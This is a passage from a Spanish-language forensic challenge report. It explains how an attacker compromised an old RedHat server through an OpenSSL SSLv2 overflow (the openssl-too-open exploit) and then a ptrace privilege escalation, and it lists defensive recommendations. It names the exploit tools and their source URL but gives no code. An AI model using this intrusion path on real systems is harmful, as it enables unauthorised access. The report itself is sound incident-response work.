4.4. ¿Cómo ingreso? El atacante aprovecho una vulnerabilidad existente en las librerías OpenSSL iguales o inferiores a la versión 0.9.6e. Dicha vulnerabilidad consiste en un buffer overflow durante el proceso de negociación en SSLv2 (CA-2002-2323 VU#102795). En concreto, el equipo del reto, tenía la versión 0.9.6b, por lo que era vulnerable a cualquier servicio que usara dichas librerías. En este caso, el atacante entró a través del servidor seguro del apache que hace uso de estas librerías. La entrada se produjo usando el exploit que contiene el autorooter selena.tgz. Dicho exploit es el exploit desarrollado por Solar Eclipse solareclipse@phreedom.org y conocido como openssl-too-open24. Sin embargo, tras explotar la anterior vulnerabilidad, solo tenia acceso como usuario no privilegiado, así que necesito de un segundo exploit, esta vez local que aprovechaba una vulnerabilidad en los kernels 2.2 y 2.4 al realizar una llamada a la función ptrace(). Por lo tanto, lo descarga como usuario apache y tras su ejecución, se convirtió en root del sistema culminando la escalada de privilegios. 4.5. ¿Qué recomendaciones harías para minimizar el riesgo de una nueva intrusión?

• Lo primero y fundamental es mantener una política de actualizaciones periódica de los parches de seguridad del S.O. instalado. En el caso que nos ocupa esto es especialmente difícil porque RedHat finalizo el soporte oficial de su versión 7.3 el 1 de Enero del 2004, por lo que hace más de un año que no tiene parches oficiales.

• Lo segundo es restringir al máximo los servicios que ofrece la maquina. Cuantas menos puertas de entrada tenga, tanto más fácil será mantener actualizado el sistema y menos probabilidades de encontrar un fallo. En este caso el servidor apache estaba corriendo, pero sin embargo no estaba sirviendo nada más que las paginas de inicio por defecto de la distribución.

23 CA-2002-23: http://www.cert.org/advisories/CA-2002-23.html 24 openssl-too-open: http://www.phreedom.org/solar/exploits/apache-openssl/

43

• Activar el firewall (iptables) del kernel de Linux. Permitirá tener un control exhaustivo sobre quien puede conectarse a qué servicio en la máquina. Tampoco sería mala idea el montaje de un firewall que trabajase a nivel de aplicación y no solo como firewall de paquetes.

• Se deberían cambiar las contraseñas del usuario root y Contador, así como de todos los usuarios que han usado la maquina para conectarse a otras maquinas. Aunque no hay constancia de la instalación de ningún sniffer (el que viene con Suckit fallo), sería también una buena política cambiar las contraseñas de las maquinas de la misma LAN.

• Sería muy recomendable instalar un sistema de verificación de integridad, tipo tripwire, que verifique si ha habido alteraciones en los ficheros importantes del sistema.

• Visto el impacto que han tenido los virus en esta intrusión, no estaría de más introducir en la rutina de comprobaciones el pasar un antivirus para Linux de vez en cuando. De igual manera, también se puede programar en el crontab que el rkhunter o el chkrootkit corran de vez en cuando y nos notifiquen si detectan algo.

• Para limitar en la medida de lo posible la actuación de los atacantes, deberíamos notificar lo antes posible a los administradores de la maquina en el ISP Altaway Technologies, Reno, Nevada, EEUU desde la que nos atacaron, puesto que con toda seguridad debe estar comprometida. Así, el administrador de dicho servidor, recobrará el control sobre su equipo y el intruso habrá perdido una maquina bajo su control.

• No recomendamos limpiar la maquina sino su total reinstalación previo formateo, puesto que podría quedar algo que se nos haya pasado por alto que facilitara a los atacantes el acceso de nuevo. La maquina no parecía tener datos de interés, pero siempre es conveniente tener un backup reciente de los datos personales. En caso de que las anteriores medidas no hayan sido suficientes, reinstalaremos el S.O. y restauraremos del backup los datos.